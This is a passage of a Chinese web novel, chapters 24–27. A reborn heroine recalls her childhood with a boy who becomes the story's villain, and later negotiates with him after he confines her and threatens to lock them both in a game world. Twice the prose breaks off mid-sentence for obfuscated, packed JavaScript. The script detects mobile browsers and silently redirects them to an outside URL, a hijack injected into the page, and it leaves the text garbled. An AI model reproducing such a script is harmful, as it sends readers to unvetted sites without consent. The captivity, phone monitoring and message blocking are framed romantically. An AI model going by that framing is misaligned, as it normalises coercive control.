他深沉的声音娓娓道来，像暗夜里深邃大海的低语：“你还记得一千零一夜里，渔夫与魔鬼的故事吗？渔夫救了魔鬼，魔鬼却要杀了他。因为他已经被困在瓶子里太久太久了。” 这个故事……如果她没记错的话，是他们小时候，她给他讲过的。 “渺渺，你每一次给我希望，都是无意，可你不知道，那是我渴望了很久很久的东西。第一次，你走了，你离开了我。第二次，你依然丢弃了我。你的承诺，都不值得。你说，我应该恨你，还是喜欢你呢？” 他轻笑一声，“没关系，这个答案已经不重要了，我只要你在我身边就好。” “你已经丢下我两次，我不会……我不会再让你丢下我了。” 祝渺觉得自己的心脏微微瑟缩。 不对，不对劲。 两次？祝渺敏锐地抓到关键词。 他这几天说了不止一次这句话，这到底什么意思？ 祝渺：“什么叫两次？哪两次？” 祝渺脑中搜了一圈二人的交集，不会是因为……十年前离开顾家的那次吧。 可那时候，他们的关系好像也没有那么亲密啊，何来丢下他一说？ 祝渺感觉他的胳膊更加用力，她被圈得更紧，都要喘不过气了。 于是她抓住了他的手，试图再次拉开他：“你，你勒得太紧了，我要喘不过气了。” 顾忱这才松开了她，但还是抓着她的手，双眼清凌凌地看着祝渺，像是在细细描绘她的模样。 他伸手，大拇指轻轻抚摸过她的眼皮：“渺渺，你的眼睛，还是像小时候一样……澄澈，清冷。” 祝渺：“……”麻麻他好像个变态，好像想挖她眼珠。 顾忱松开她，在她身边坐下，将她推倒在床上，掖好被子，总算说了句祝渺听来悦耳的话：“不早了，睡觉吧。” 祝渺看着他的动作：“那你这是……不走？” 顾忱嘴角微微扬起，掩饰不住的好心情：“我就在这里陪着你，等你睡着。” 祝渺：……不，她不需要陪。 可是他的态度不容拒绝，充满强硬。 祝渺轻轻要了咬唇：“行吧，睡一天，就睡一天。” 不然真怕他会更加变态发作。 她只好裹紧被子，往床的另一边睡，离他远远的。 幸好他也没为难她什么。 然而，第二天第三天的夜晚，祝渺躺在床上，裹紧了被子，门口依然响起了敲门声。 顾忱：“我可以进来吗？” 祝渺：“不可以。” 顾忱顿住，一会儿后，还是走进来，关上了门。 他没什么语调的声音响起：“你现在没有说不的权利。” 祝渺：“……”那你问个屁，装什么绅士啊。 一开始是等她睡着，之后就是干脆直接在她房间里睡觉。 祝渺一开始担心他还会强硬地和她一块睡……毕竟反派界限感也不是很明确的样子，谁知道脑子里怎么想的。 还好，他每次只在旁边的沙发睡下。 夜色总在沉默中蔓延。 他不说话，祝渺也不理他，自己睡自己的。 这几天，她虽然没能改变他的念头，但至少，也不是一无所获。 她知道了他的一些想法。 可她依然不明白，他说的“两次”……是不是包含了他们小时候的故事。 太多年了，该记得不该记得的事，还有许多细节……她早忘干净了。 她一直在仔细回忆，他们曾经究竟发生过哪些事。 大概日有所思，夜有所梦，在这一晚的梦里，她仿佛回到了小时候…… 24. 第 24 章 十几年前的一个夏天，她刚满五岁。 父亲牵着她的手，来到一个好气派的大门前，她抬起头，放眼望去，这里简直像一座宫殿，像一个大花园。 他们是坐私家车进入院子的，下了车，就见到一位面容和善的中年男子。 父亲摸摸她的头，耐心教她：“来，小渺渺，叫顾叔叔。” “顾叔叔好。”她乖巧应答。 这位被她称呼为“顾叔叔”的男人亲切地拍了拍他的脑袋，夸了她一句可爱。 这是她对顾家的初始印象。 在她恢复记忆之前，她几乎算是一个普通的小女孩，只不过比普通女孩更加成熟智慧。 她似乎从小就知道自己失去妈妈，爸爸很信赖，也很依靠顾家。 于是父亲工作在顾家，也生活在顾家。 她生存在顾家，虽然表面上被当成顾家小姐，实际上依然是寄人篱下。 她被顾家夫人安排在顾忱身边，“玩伴”“青梅竹马”都是些台面上的说辞，不过是要她陪伴在顾忱这个特殊的孩子身边，照顾他，为了顾家这位少爷，她必须牺牲自己的正常生活。 她不能像普通女孩一样去上学，也不能像普通女孩一样任性哭闹玩耍。 她从小就有清晰的认知，她在顾家，她只能依附顾忱。 但她从来没有表达出来，她有这样的认知，是她父亲都不知道的事…… … 祝渺还记得与顾忱的初识，是来到顾家的第二天。 她在走廊的角落里，看到一位白衣服的先生，大概是医生，拿出一份文件报告样的东西，递给了顾家夫人。 医生的语气有些严肃：“根据我们长期以来的观察，这个孩子，患有情感和认知上的缺陷，对外界以及自己都存在一定的认知障碍，因此很难产生情绪上的感知和共鸣，对外界的事物也存在认知上的障碍……” 直到他说完，顾家夫人以手捂面，脸色很不好：“那有什么方法可以治疗呢？” “目前没有成熟的治疗方案，只能说建议让您儿子尽量远离群体生活，不要引起他对与人接触的抵触心理。” “但也不要完全脱离人群，他还是需要有朋友，能努力让他建立人与人之间的情感联系……但这必然是一个长期的过程。” 躲在角落里的祝渺默默听着他们的对话。 这天的晚餐，是她和顾夫人和顾小少爷一起吃的，父亲跟着顾总忙工作不在家。 顾氏那位小少爷坐在座位上，一脸冷漠地吃着饭，都没有抬头看她一眼，仿佛身边的人都是空气。 而顾夫人亲切和蔼地看着自己，亲昵道：“你就是渺渺吧，真是个可爱的孩子，和我们家忱忱一般大呢，你愿意和我们家忱忱做朋友吗？” 祝渺听到这句话的那一刻起，她就已经自动领悟了从今往后自己留在顾家的使命。 她露出乖巧的笑容，点了点头。 顾夫人问她：“渺渺喜欢上学吗？” 她会回答：“不喜欢。” 顾夫人问：“那你喜欢我们忱忱吗？” 她会说：“喜欢。” “那你愿意一直陪在忱忱身边吗？” 她会点点头：“愿意。” 她想，当一个在顾家听话的好孩子，这是她能为父亲做的最好的事。 之后没多久，她就顺理成章地成了顾忱的“朋友”。 不过是她单方面输出的那种“朋友”。 和顾夫人“亲切交流”完的第二天早上，她就来房间找顾忱。 然而，她和顾忱打招呼，他还是仿佛什么也没有听到，直接无视她的存在。 他独自一人走到了书房坐下，拿起了一套书开始读读写写。 祝渺跟在他的身后，在他的身边坐下。 她已经将同一句话说了好几次：“忱忱你好～我是祝渺，你可以叫我渺渺哦。” 可顾忱不理她。 她一急，就抬手抓了一下顾忱的胳膊。 谁知，顾忱反应很大，迅速缩手，危险地看了她一眼，然后往一旁躲了躲。 祝渺这才注意到，他身上有不少处理过的伤口。 祝渺吓了一跳：“你身上怎么了？为什么有这么多伤呀？” 这个看起来比她还娇小一些的男孩默默抬头，冷冷地看她一眼，又没有再理会她。 她从来没见过一个和她差不多大的孩子，眼底没有任何的情绪。 后来她知道了，顾忱总是在学校挨打，而他一直也不说，直到某天他突然间爆发打回去，伤了别人，顾家才注意到这件事。 所以从那天起，他再也没去上过学。 年幼的祝渺心中暗暗记下：这个人，是个非常非常怪的人，而且很危险，她一定要小心。 此后，任凭她在顾忱身边打转，叽叽喳喳，顾忱始终对她爱答不理。 他淡漠的眼神，甚至会让祝渺觉得他是在……仇视她。 可她从来不会被他吓跑，她也不能被他吓跑。 她就像狗皮膏药一样，贴在顾忱身边，努力成为那颗治疗顾忱的药丸，做一个优秀听话、不能说不的好孩子。 这些想法，她父亲一直也没发现过。 她不为人知的成熟隐忍，也许是不同于身体年龄的灵魂给予她的。 她就这么缠了顾忱四五年。 直到她彻底恢复记忆的那天，身为“小祝渺”的记忆与认知，总算被新的记忆与认知覆盖了。 在上一世记忆的反复洗礼中，那份隐忍的情绪褪去，她恍然清醒—— 这，这，这是一个小说世界啊！ 而原来世界的她，早在看完这本小说后不幸过世了。 她花了好几天才接受这个事实。 自此，她就再也无法用她原来作为小孩的思维思考，也没法用常人的眼光看顾忱了。 这个年纪小小的少年，居然会在十几年后，变成一个变态反派，她也会被他抓、被他关，还因他而丧命。 她忽然明白了，怪不得，怪不得他长大后会变成那样，原来是从小就有心理上的缺陷啊…… 这天生的缺陷可没法轻易改变，所以这么多年了，她和顾忱的关系也没缓和多少。 她看到顾忱阴沉冷漠的模样，她的心中依然会隐隐有些害怕。 她一点也不想走原著那样的剧情，惨死顾家。 也不希望父亲祝召年会像原著里那样，在几年后成为顾氏经济案的替罪羊。 为了改变剧情，她决定让祝召年意识到顾家是个深坑，然后带着她远离顾家。 某一天，她和祝召年单独相处，她问父亲：“爸爸，‘替罪羊’和‘背锅’是什么意思？好奇怪的词呀。” 祝召年露出了一丝惊讶：“为什么这么问？哪里听来的这些词？” 祝渺一脸天真：“我在顾叔叔的书房外面，听到他和别人打电话说的，他说，出了问题就让你做替罪羊，让你背锅。” 祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471162|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 召年惊讶得呆滞了片刻，才开口：“渺渺，你……你是不是听错了？” 祝渺表情越发无辜：“没有，我听得可清楚啦，那到底是什么意思呀？” 祝召年一时失语，半晌才叮嘱祝渺：“渺渺，这些话你只能对爸爸说，不要对其他任何人说，明白吗？” 祝渺乖乖点头。 她心想，童言无忌，祝召年一定会相信自己，并对顾家起疑心。 可是，挑拨离间似乎还不够，祝召年对此半信半疑，并没有立即作出反应。 祝渺想，还是得另外想办法，或许要狠一些才能立刻奏效。 于是，她挑了一天，拉着顾忱到阁楼上画画。 站在阁楼的楼梯间，她看准角度，纵身从楼梯上摔了下去。 惨叫着摔到地上，祝渺趴在地上放声大哭，抬头看顾忱，他正站在楼梯上边，呆呆地看着她，脸色都不改一下。 祝渺内心：……真不愧是反派，她都这样了，他也没有一点反应。 为了把这场戏演好，她摔得可不轻，疼得她嚎啕大哭。 祝召年听到她受伤的消息，赶紧从公司赶了回来。 经过医生的诊治，没有什么大问题，都是一些皮外伤，看着严重，实际上没什么。 祝召年一边心疼地安抚，一边责怪她贪玩不小心。 直到没人了，只剩下她和祝召年两个人，祝渺看准了时机，小声地啜泣着对祝召年说：“爸爸，这次其实，不是我自己摔的。” 祝召年语气温和：“那渺渺是怎么摔的？” 祝渺作出委屈的模样：“其实，其实……是忱忱推我的……但我觉得他一定不是故意的，他有时候就是会这样子，突然间不高兴，这次也一定是我惹他不高兴了……” 小反派，对不起了！ 祝渺在心中默默向反派道了歉，希望他原谅自己乱污蔑他…… 不过他应该没有机会知道。 以她对祝召年的了解，他一定不会拉着她和顾家当面对质这件事，他只会选择自己退后一步。 要不是他这样的性格，和对顾家的信赖，他也不会在顾家这么多年。 况且他还一直知道顾忱的病，他怎么好意思去揭人家的伤疤呢？ 可他听到祝渺这么说，对顾家依然是愤怒的，失望的。 顾家对他有恩，可他自认对顾家也付出够多了，不仅劳心劳力做事，还委屈女儿失去了正常孩子该有的生活，去照顾他们家这位生来不正常的少爷。 伤害到女儿，他才意识到事情的严重性。 他的宝贝女儿，在过着这样委屈的生活。 他不能再继续这样不正常的生活了…… 如祝渺所料，祝召年终于醒悟了，决定带着她离开顾家，去寻找他们自己的生活。 他想好了说辞理由，辞职离开了顾氏。 顾家劝大力劝阻了几番，但这时的顾家还没有那么“丧心病狂”，也没有阻拦他们。 他们最终顺顺利利地离开了顾家。 离开的那天，祝渺趴在驶离院子的车窗上，看着背后逐渐远去的大房子，心中感叹，这辈子怕是再也住不上这样豪华的超级大别墅了。 她抬眼往上看了看，似乎看到了顾忱的身影，正站在阁楼的窗户前，看着她逐渐远去。 然而她挥了挥手，他的身影就不见了。 她松了口气。 她成功改变了剧情，这辈子应该再也不会遇上反派了吧…… 25. 第 25 章 祝渺从梦中跳跃的场景中惊醒。 夜色依然昏沉，此刻依然是夜晚。 顾忱仍姿势安分地睡在沙发上，紧闭着眼，有一丝月光穿过窗帘，落在他的眉眼之上，让祝渺能看见他微微蹙起的眉头。 看来他也睡得不是很好。 祝渺叹了一口气，继续闭上眼。 小时候那些杂乱的记忆，已经很久没有想起来了，怎么今天又记起来了呢…… 不过这场回忆，倒是让她想起了许多已经被她淡忘的细节。 比如她利用了顾忱，对父亲说了谎，在顾忱不知道的地方让他背了个黑锅。 被时间冲刷淡了的愧疚感也让她回忆了起来…… 还有就是关于顾忱的状态。 多年前，顾忱分明还不是现在这样的性格。 曾经的他几乎不说话，只有偶尔几次，会对她蹦几个词。 可现在的他，虽然也孤僻，但说话表达都比以前好了太多。 还有，他现在的情绪和以前一样让人捉摸不透，但显然丰富了许多，不像以前那样大部分时候是冷漠的。只是，他仿佛从一个极端，走向了另一个极端。 身体与心理的成长，真的能让他改变这么多吗？ … 第二天早上，祝渺是从顾忱的视线中醒来的。 他一大早就对她行了个注目礼，惹得她又又又是一身竖起的汗毛。 被人盯着睡觉的感觉可真是……一言难尽。 忽然发现，今天不太对劲。 除了顾忱这尊“大佛”，她的床头还多了好大一台仪器，电子屏上闪烁着一些不知名的代码，连着一堆乱七八糟的插线。 她睡得太沉，居然连他什么时候搬进来这么个大玩意儿都没发现。 她有种不太好的预感：“这是……什么？” 顾忱见她醒来，总算从她身上移开视线，开始捣鼓起了这台大设备。 顾忱回答：“这是脑机。” 祝渺了然：“这个就是让你的意识进入游戏世界的设备？搬来这里做什么？” 祝渺心中已经隐隐升起了猜测，但还是觉得不可置信。 下一秒，顾忱就证实了她心中想法：“用来让我们一起，回到那个世界。” 祝渺：“……” 不是吧，来真的呀？！ 祝渺咽了口口水：“回，回多久？” 顾忱沉吟片刻，“或许……永远？” 祝渺吓得一激灵，蹦下床，摁住他捣鼓设备的手：“别，咱们有话好说，好好聊天不行吗？” 顾忱看向她：“可你说你要走。” 祝渺：？不然呢？ “……我总不能一直待在这里吧？” 顾忱眯眼，继续动手整理设备：“你说得对，所以，脑机内的时间可以无限延长，你在这里一分钟，意识可能已经过了很多年。” “……”祝渺背脊一凉，意识到他不是在开玩笑。 这下糟糕了。 祝渺继续说服他：“可是脑机不是还没正式投入生产试验吗？万一出了什么问题，我们再也醒不过来了可怎么办？” “不会，我已经重新调整试验过了很多次，前两天已经完全通过测试了。” 原来他前两天出去，就是为了这件事。 慢着，能这么快研发成功，那他岂不是从刚醒过来就已经着手准备这件事了？！ 并不是一时兴起，而是处心积虑…… 这下祝渺真是慌了。 “等一下，我不走了我不走了！”祝渺赶忙阻止他。 顾忱听到她的话，停下手上的动作低头看她。 他比她高一大截，垂下的眸子眼里闪着不知名的光，平静时如深不可测的海，而此刻却如浩瀚星辰。 祝渺又说了一次：“我不走了，我不离开你，我会一直陪着你。” “在虚拟世界里陪你，总还是现实好，对吧？” “真的？”顾忱不信。 当然也不全是。 “……但是，白天我还是要出门，过正常的学生生活，晚上我就回这里，和你一起住。” 祝渺强调：“你不是说想回到游戏里的生活吗？那我们就和游戏里的生活一样。” 顾忱听完，微微皱眉，看了看机器，似乎是在纠结。 祝渺：“……” 拜托，她都已经同意和他同居，退之又退，不追究他非法拘禁了，这还要纠结？！ 祝渺拉了拉他的手，感受到他有些微凉的手指。 撰得更有力了些，把自己温暖的体温传给他。 她靠近他，抬头看他。他也低下头。他们的距离仅仅几公分。 祝渺带着蛊惑的声音响起：“你看，在虚拟世界里，你还能感受到我这样温暖的体温，看到我这样活生生的人吗？” 祝渺专心看人的时候，乌黑的眸子十分澄澈，一尘不染。用秦洛的评价就是，她缓慢地、抬眼看人的时候，眼神总是看起来很深情，特别容易让人“误会”。 此刻，顾忱看着她清澈的眼睛，喉结微动。 不知道他心里在想什么，祝渺心里紧张了一下，拉着他的手又紧了紧。 他的目光在她脸上游移片刻，最终落在她的手上。 许久后他开口，说的是妥协的话：“那你保证，不会再消失。” 祝渺松了口气：“我保证，不会消失。” 顾忱最终在脑机上按下了关机按钮。 电子屏上跳动的代码消失，屏幕黑了下来。 祝渺彻底放心，拉着他笑了笑：“再说了，你现在都能找得到我，要是我真的跑了，你还能找不到我吗？” 顾忱却沉默了。 祝渺不知道的是，他在心中默默回答了这句话： 我曾经就找不到你，而且一下就是很多年。 现在，他不想再经历那些年，要用这么多年时间，才能换来与她的再次相遇。 … 与顾忱达成“和解”之后，祝渺忽然就觉得现在的“禁闭”生活没那么糟糕了。 放平心态，此时的休闲生活还是…挺舒服的。 不得不说，太适合宅家了。 但她已经十来天没有回校了，加上放假的几天，她已经错过一礼拜的课。 于是她决定，明天就回学校。 还好，现在的顾忱还是比较好商量的，不仅同意了她的要求，还把手机还给了她。 她立刻打开手机，赶紧给同学和她爸报平安。 ……当然，还是在顾忱的眼皮底下。 他还真帮她搞定了所有请假流程，甚至和朋友保持了在线交流。 她消失的这些天，并没有引起其他人的警觉。 做得滴水不漏，可怕，太可怕了。 要是她真的出了什么事，恐怕短时间内还真没有人会发现，真是细思极恐。 幸亏他还没完全“走火入魔”，还能听得进自己的话。 若是像原文中那样黑化到极致……恐怕她要说服他相信自己， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477620|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没有那么容易了。 既然摆脱不了与反派的交集，她就要想办法，绝对不能走到原剧情上去。 现在的顾忱，她还有改变的机会。 … 第二天一大早，祝渺就收拾收拾，准备出门。 然而一直到走出大楼，顾忱都一直寸步不离跟在她的身后。 祝渺警觉回头：“你跟着我干什么？” 顾忱一本正经：“我也是个学生。” 祝渺：……哦，差点忘了。 她想起过去，她和他相处那几年，他就没有去上过学，一直都是待在家里上私教课或者自学。 祝渺有些好奇：“哎？你是什么时候开始重新开始上学的？” 顾忱回答得很快：“我没上过学。” 祝渺疑惑：“那你怎么考上的大学？”而且还是顶尖学府，不对，算上传闻中的转学经历，还是两所顶尖学府。 对于她的疑惑，顾忱不明所以，反问：“为什么要上学才能考上？” “……”好像也是。 祝渺一时语塞。 作为一名勤勤恳恳好好学习天天向上的好学生，她觉得好像受到了一万点暴击。 反派这人设可真了不起哦……-- 他们住的公寓，离学校并不远，也就大概三四公里，只是位置比较偏，所有祝渺从没来过，不认识这个地方。 祝渺本想打车，可到楼下，顾家的司机已经将车等在了门口。 纠结了一阵，祝渺还是在顾忱的注视下上了车。 两人一路无言。 几分钟后，祝渺站在熟悉的校门口前，感觉空气都清新了不少。 早上上早课的学生很多，学生来来往往，都赶着上课，匆匆忙忙走过。 然而由于他们俩颜值颇高，在学校里还有些许人气，此时突然从一辆豪车上下来，还一起走进学校，属实有些高调，还是引起了一些学生的注意。 两个女生从他们身边走过，忍不住偷偷瞄了几眼。 “诶诶，你看，那是不是新闻系的系花啊？” “好像是，她好漂亮啊。” “还有她身边那个男生，好帅啊！” “有点眼熟……哦！我想起来了，是贴吧上被人发过偷拍照的转学生！” “我也有印象，叫什么来着？” “好像是……陆，陆尘！” 祝渺远远听到有人讨论他的名字，歪头看他一眼。 祝渺奇怪：“你是怎么做到改了名没有人知道你的真名的？” 顾忱：“我没改档案资料，只是没有人知道顾忱这个名字是我。” 哦，他就是故意对外乱说名字，让其他学院的人误会——比如她，是吧。 祝渺：“那你们班的人也不知道你是顾忱？” 顾忱一脸坦然：“我没去上过课。” 祝渺噎住：“……”你厉害，你厉害。 想了想，顾忱又补充了一句：“而且，我三岁前随母姓，姓陆，也不算改名。” 这事儿，祝渺还真不知道，原文里也完全没提过。 不过好像……顾夫人好像确实姓陆，这她倒是隐约有点印象。 但她还是觉得不太习惯：“那你什么时候改回来？” 顾忱道：“很快。” 也是，再怎么嚣张，今天他不是就乖乖回学校上课了？ 一上课，一点名，大家不就都认识他了？ 然而，顾忱一直跟着她，跟到了她的教室门口。 26. 第 26 章 进教室门之前，祝渺站住脚步，转过头。 她有些许无语：“……你也上这门课？” 顾忱理直气壮：“不行？” “那你自己的课呢？” “我没看过。” “什么？” “我没看过我的课表。” “……”那你倒是看一眼呢？ 祝渺坚持把他推回去上课，顾忱皱眉表示不满，幽幽开口：“看来还是程序设定的世界更好，可以根据自己的想法进行设置……” 祝渺：“……”你赢了。 成功被威胁到了的祝渺无言以对，让他跟着自己进了教室。 刚踏进教室，上课铃声就响了，教室里已经坐了不少人。 他们俩一进门，就又吸引了一片目光。 这节课是专业课，坐着的基本上是她同系的同学，甚至还有两个是新闻社的社员。 也就是说，认识她和顾忱。 他们俩消失了好多天又一起出现，顾忱还不是本节课的学生，确实让人觉得有些奇怪。 祝渺赶紧找了个角落的位置坐下。 已经是上课时间了，老师开始讲课，一些同学才收回好奇的目光。 祝渺已经一礼拜没来上课，上节课没听，所以错过了一大章节。 所幸不是什么数学课，不会低头抬头就再也听不懂了，祝渺提前自学了上一节课的内容，所以听起来没有太大的压力。 他们就坐在教室窗边的角落，顾忱坐在祝渺身边，看着窗外渐渐升起的阳光，缓缓落在她的侧脸上。 她认真看着黑板上的字，垂下头做笔记，耳侧落下的碎发，在脸上留下稀碎光影。 她一旦开始做一件事，总是很认真，从小就是这样。 给他念故事，看他做的题，和他一起画画……眼神清澈而专注。 他那时候不懂，没有感觉，可忽然某一天开始，他在脑海中读取记忆，竟全是她在自己身边的画面。 顾忱嘴角不自觉地微微扬起，突然觉得，答应她，像现在这样，好像也不错。 除了……一些碍事的人。 顾忱感受到“碍事”的视线从教室某个方位传来，抬起眼看去。 是一个他们新闻社的男生，正好奇地偷瞄他和祝渺。 不过顾忱并没有认出他，他基本不记得这些人，只觉得这些关注她的视线，烦极了。 接收到顾忱不爽的眼神，那个男生这才赶紧回头，假装什么也没发生。 祝渺侧头看他，悄悄问：“怎么了？” 顾忱收回目光：“没什么。” 上完了这一天的课，祝渺回到宿舍，开始收拾行李。 虽然顾忱给她准备全了生活用品，但如果要长期住外面，还是有些东西必须要带走的。 她收拾东西时，室友也在，一边帮着她收拾东西一边聊天。 “那天去参加社团聚会，你突然说家里有事不回来了，我们还以为你出事了呢。” “怎么就要搬出去住呢，这也太突然了吧！” “是啊，渺渺，你要住到哪里去呀？” 祝渺挠头，想着这事怎么圆。 总不能突然说要和男同学出去同居吧？ 她花了几秒编排出了一个理由：“我在外面租了间房子，确实是家里出了点事，呃，所以比较缺钱，准备做一份副业，赚点钱，出去住方便一些。” 室友惊讶：“什么副业啊？” “嗯……自媒体？直播？”她随便胡扯。 室友听了，了然地接受了，要拍摄录制或直播，容易打扰室友，搬出去住倒也可以理解。 祝渺心里却想，哎，什么副业啊，就是帮人打工——打一份给反派少爷当丫头侍女的工！ 真是一把辛酸泪，躲了这么多年还是躲不过给反派当陪读的命！ 半小时后，祝渺差不多收拾好了。 由于生活用品不是很缺，她主要把需要用的书收拾了一下，不是很多，但也有些重。 吃力地拖着行李箱走到宿舍楼下，顾忱正站在门口的一颗树下等她。 天色还没黑，夕阳西下，他的身影被夕阳拉长，引来不少路过的女同学侧目。 真招摇…… 祝渺咋舌，拖着箱子走到了顾忱身边。 顾忱注意力一直在门口，她一出现走来，他顺手就拿过她的箱子，走在她旁边。 唔……还挺绅士，良心未泯。 他们的车还没到，学校大门人来人往，不好通路，于是就去了学校侧门等车，还好，侧门人烟稀少，安静得只能听见鸟叫。 刚等了一分钟，祝渺就听到有人喊她：“渺渺！” 转头看，是刘宇学长。 刘宇跑上前来，“渺渺……还好你没事，我给你发了消息，你都没回复我，听同学说你回来了，我就来找你了，总算找到你了。” 诶？发了消息？她怎么没看到？ 难不成……被某个家伙屏蔽了？ “渺渺，我……”他话还没说完，顾忱就挡在她面前，一脸不友善地看着刘宇。 刘宇似乎才注意到他，“你什么意思？” 顾忱冷漠脸：“有事吗？” “……没。” “我们有事，你离开吧。”顾忱语气果决。 祝渺：“……”真糟糕，她闻到一股修罗场的味道。 刘宇目光在他们两个人之间浏览了一下，“你们两个……在一起了？” 祝渺赶紧摇头。 刘宇松了一口气，但他对上顾忱的眼神，总算明白了他之前那些行为到底意味着什么。 顾忱居然也对渺渺有这样的心思，这么明显，他居然都没想到。 最终，他似乎做了什么决定：“渺渺，不管你的选择是什么，我有话说……” “我……我喜欢你。” “这句话，我本来想你生日那天找机会和你说，可是后来我一直没找到机会。” 顾忱看着他，脸色更阴沉。 祝渺听完，也有些愣住。 万万没想到，学长会在这种时候说这种话。 “对不起，学长……” 然而，她话还没说完，后面忽然又出现一个熟悉的声音：“渺渺！” 祝渺扭头一看，果然是王朔，他安分了很久，她都快忘了，还有这么号人物。 祝渺：“……”今天是什么黄道吉日，桃花爆棚，一个两个的，都在这时候上赶子来找她？ 王朔又是手捧鲜花，一脸“真诚”地跑过来，缝上捧花。 “渺渺，我终于又见到你了！这束玫瑰是我特意挑选的，特别衬托今天格外美丽的的你。” 祝渺：“……不用了。”她是真的会谢。??? 王朔才留意到她身边的两个人，一脸警惕：“喂，你们俩告白分不分先来后到？我可是已经向渺渺告白了快三年了！” 祝渺：“……” 到底为什么他们都爱自说自话啊，就不能看看场合再说话吗？！ 刘宇迈前一步，扶了一把鼻梁上的眼镜，冷言道：“快三年？那想必渺渺也已经拒绝过你很多次了吧，你这么穷追不舍，只会让人造成困扰。” “胡说八道！渺渺难道接受你的告白了？我刚可都听见了，你这样难道不会给人造成困扰？” “你……” 王朔不理他，看向祝渺，一脸坦然：“渺渺，你就直接说吧，你选谁？” 祝渺：“……”哈？怎么就她选谁了？她什么时候要选人了？ 身边没说话的顾忱此刻已经脸黑得能滴墨，握紧的拳头仿佛已经忍耐到了极致。 嘴角似笑非笑……似笑大概也是被气笑的，看着渺渺，也跟着幽幽开口：“哦……渺渺，你要选谁？” 祝渺再次：“……”球球别阴阳怪气她了，她真的会害怕。 老天啊，她为什么要应付这种场面啊？这，这也太考验她了吧？ 她能凭努力解开一道复杂的题，却解不开捆三个男人一台戏时这错综复杂的关系…… 祝渺想打个圆场：“那个，我们要不……” 话没说完，王朔目光落在顾忱的脸上，皱眉：“诶诶，有你什么事啊？我之前可没见过你，新来的吧？别以为你长得好看点就能插队，后面排队去，离我家渺渺远一点，知道吗？” 祝渺：“………”屡次插话失败的她已经有点麻了。 如果眼神可以杀人的话，顾忱大概已经把王朔刀了千八百回了。 得亏王朔是个没眼力见的缺心眼儿，还没能敏感地察觉到一些危险气氛。 祝渺却是早已敏锐地感知到了。 完蛋，再这么下去，好不容易被她安抚下去的反派岂不又要发疯？ 反派要是发疯，倒霉的不就是她这个小炮灰？ 顾忱抓在行李箱把手上的手刚要松开，就被祝渺及时抓住。 她提高了嗓音，总算将他们注意力吸引过来。 “各位，我现在真的真 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祝渺慢慢地，把他的手从机器上挪开，尴尬一笑：“别启动了，放过它吧。” 顾忱皱眉：“不行。” “……为什么？” “你说呢？” “……” 祝渺内心无语，有些不爽，决定开怼：“太受欢迎被表白这难道是我的错吗，是我有意造成的吗？况且我拒绝了他们，你现在这样是在怪我咯？” 主打的就是一个反客为主。 顾忱大概被她反问的语气问住了，一时间有些失语：“我不是这个意思。” 祝渺紧跟着道：“所以，做事要究其因果，既然不是我的错，那你不应该用把我带进游戏的方式来解决和惩罚我，对不对？” 顾忱皱眉，似乎在思考她说的话。 过了一会儿，他开口道：“你说得对。” 嗯嗯，祝渺点头，能意识到自己的错误，孺子可教也。 下一秒，顾忱却道：“是他们的错，所以应该惩罚他们。你放心，我没有打算放过他们。” 祝渺：“……”她撤回刚才夸他的话。 “我也没有这个意思，你不要这么冲动。”祝渺极力劝阻。 “你是在护着他们？”顾忱的眼神逐渐危险，甚至暗藏着肃杀的气息。 祝渺心里又是一颤。得，说什么都不对。 “我的意思是，我们之中没有人有错，他们喜欢我向我表白，对我保持了适当距离，而且我也会和他们说清楚我不喜欢他们，所以你没有必要把这件事放在心上。”她这辈子都没有遇到过这么难劝的人。 “呵。”顾忱冷笑一声，眼神冷漠无情，如寒风冰凉。 祝渺不确定地问：“你不会真的打算报复他们吧？” 顾忱盯着她：“你在替他们担心？” “我没有，我是怕你被警察叔叔抓走。” “我不会。”掷地有声。 “不会什么？不会报复他们，还是不会被抓走？” 顾忱想也没想，回答得很快：“都不会。” 祝渺盯了他半天，确认了他说的是真的，这才长舒一口气。 每天都要游走在安抚和触怒反派的边缘，真累啊。 好在反派还是讲点道理的。 忽然想到了什么，祝渺靠近他：“顾忱，你现在的表现，是在吃醋？” 顾忱歪头疑惑：“吃醋？” “呃，难道不是吗？难不成，你这是在嫉妒我有这么多人喜欢，你却没有？” “……？”顾忱不解，“吃醋是什么感觉？” 看来反派刚刚领会到了喜欢的感受，还不懂吃醋的感受。 祝渺很有耐心地解释：“吃醋就是，别的男生喜欢我，你就不高兴，你就难受……” “就想把你藏起来，就想让他们都消失？”顾忱倒是很会举一反三，接着她的话道。 祝渺默了片刻：“……差不多吧。”但是，大可不必这样！ 顾忱走了一步，靠近她，微微低头，一脸认真地看着她，呼吸清浅。 祝渺不自觉地放缓了呼吸，往后退了半步，感觉距离近得，仿佛可以细数他浓密纤长的睫毛。 他那仿佛带着蛊惑的声音清脆地响起： “你说的没错，渺渺，我在吃醋。” 27. 第 27 章 他说的话和他的脸加在一起，实在是太具有蛊惑性了。 明明刚被他“恐吓”完，祝渺还是不由得呼吸一滞，心跳漏了半拍。 一把把他推远了一点，然后转身继续收拾东西。 摸了摸自己有些发热的脸颊，暗道自己真是没一点出息，看到真人帅哥居然会脸红。难不成她其实是个超级颜控来的？ 可恶，都怪他长得太好看了点，又白又嫩的……把反派设定得这么好看干嘛！一点也不像反派啊！ 一直到晚上睡觉，祝渺还有些“心律不齐”。 